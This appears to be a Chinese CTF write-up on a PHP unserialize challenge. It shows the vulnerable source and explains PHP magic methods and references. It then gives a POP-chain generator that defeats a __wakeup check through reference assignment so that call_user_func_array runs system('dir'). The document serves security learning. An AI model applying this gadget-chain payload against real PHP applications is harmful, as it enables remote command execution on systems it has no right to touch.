这道题打的时候没做出来,赛后看了别人的wp,看到是用引用来赋值,就自己复现出来了。
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php
class KeyPort {
public function __call($name, $arguments) { if(!isset($this->wakeup)||!$this->wakeup){ call_user_func_array($this->format[$name],$arguments); } }
public function finish(){ $this->format=array(); return $this->finish->iffinish; }
public function __wakeup(){ $this->wakeup=True; } }
class ArrayObj{
private $iffinish; public $name;
public function __get($name){ return $this->$name=$this->name[$name]; } }
class SunCorpa { public function __destruct() { if ($this->process->finish()) { $this->process->forward($this->_forward); } } }
class MoonCorpa { public function __destruct() { if ($this->process->finish()) { $this->options['new']->forward($this->_forward); } } public function __wakeup(){ } }
if($_GET['u']){ unserialize(base64_decode($_GET['u'])); }else{ highlight_file(__FILE__); }
|
首先要先了解一点基本知识
基本知识
1.魔法函数__destruct()、__wakeup()
__destruct
拥有这个的类的对象在反序列化时,会先执行此对象的__destruct
再执行此对象的成员属性的值的__destruct
即先执行外层再执行内层
__wakeup
拥有这个的类的对象在反序列化时,会先执行对象的成员属性的值的__wakeup
再执行此对象的__wakeup
即先执行内层再执行外层
eg:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| class A{ public $c; public function __destruct(){ echo 'A',PHP_EOL; } public function __wakeup(){ echo 'a',PHP_EOL; } } class SampleClass { public $a; public function __destruct(){ echo 'S',PHP_EOL; } public function __wakeup(){ echo 's',PHP_EOL; }
}
$a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}'; unserialize($a);
|
输出
2.php引用&赋值
在php中可以使用引用的方式来让两个变量名指向同一个内存地址,这样在对一个变量进行操作的时候,另一个变量的值也会变
在函数中使用引用参数来修改传入参数的值
eg:
1 2 3 4 5 6 7
| function test (&$a){ $x=&$a; $x='123'; } $x='11'; test($x); echo $x;
|
输出
可以看见,函数外部的变量值也发生了改变
3.魔法函数__get、__call
__get
当类的成员属性被设定为 private 后,如果在类外部访问这个成员属性,那么就会触发__get()
访问不存在的成员属性也会触发__get
eg:
1 2 3 4 5 6 7 8 9
| class C{ private $a; public function __get($name){ echo $name; } } $c=new C; echo $c->a; echo $c->b;
|
输出
__call
PHP5 的对象新增了一个专用方法 __call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
class foo {
function __call($name,$arguments) {
print("Did you call me? I'm $name!");
}
} $x = new foo();
$x->doStuff();
$x->fancy_stuff();
?>
|
代码审计
只看到了call_user_func_array
可以利用
关键在于如何进入__call且通过这个判断
1
| if(!isset($this->wakeup)||!$this->wakeup)
|
要么不给wakeup赋值,要么控制wakeup为false
在反序列化后,会对KeyPort对象的wakeup进行赋值
所以通过引用来在__wakeup执行后还能对wakeup进行赋值
首先观察到有两个类可以执行__destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| class SunCorpa { public function __destruct() { if ($this->process->finish()) { $this->process->forward($this->_forward); } } }
class MoonCorpa { public function __destruct() { if ($this->process->finish()) { $this->options['new']->forward($this->_forward); } } public function __wakeup(){ } }
|
且都执行$this->process->finish()
,只是函数代码不同
可以先让一个返回false,另一个返回正常值
我们选择让SunCorpa的$this->process->finish()
返回false
这里使用构造器的方式弄链子,否则有点麻烦
POP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| class KeyPort {} class MoonCorpa {} class ArrayObj{
private $iffinish; public $name; public function __construct(&$a) { $this->iffinish=&$a; } }
class SunCorpa {
public function __construct(){ $key=new KeyPort; $arr=new ArrayObj($key->wakeup); $arr->name=array('iffinish'=>false); $this->key=$key; $this->arr=$arr; $this->process=$this->key; $this->key->finish=$arr; $key2=new KeyPort(); $moon=new MoonCorpa(); $this->moon=$moon; $this->key2=$key2; $this->moon->process=$key2; $arr2=new ArrayObj($key->format); $key2->finish=$arr2; $arr2->name=array('iffinish'=>array('forward'=>'system')); $this->moon->options=array('new'=>&$this->key); $this->moon->_forward='dir'; } $a=new SunCorpa(); echo base64_encode(serialize($a));
|
本地执行
成功了,tmd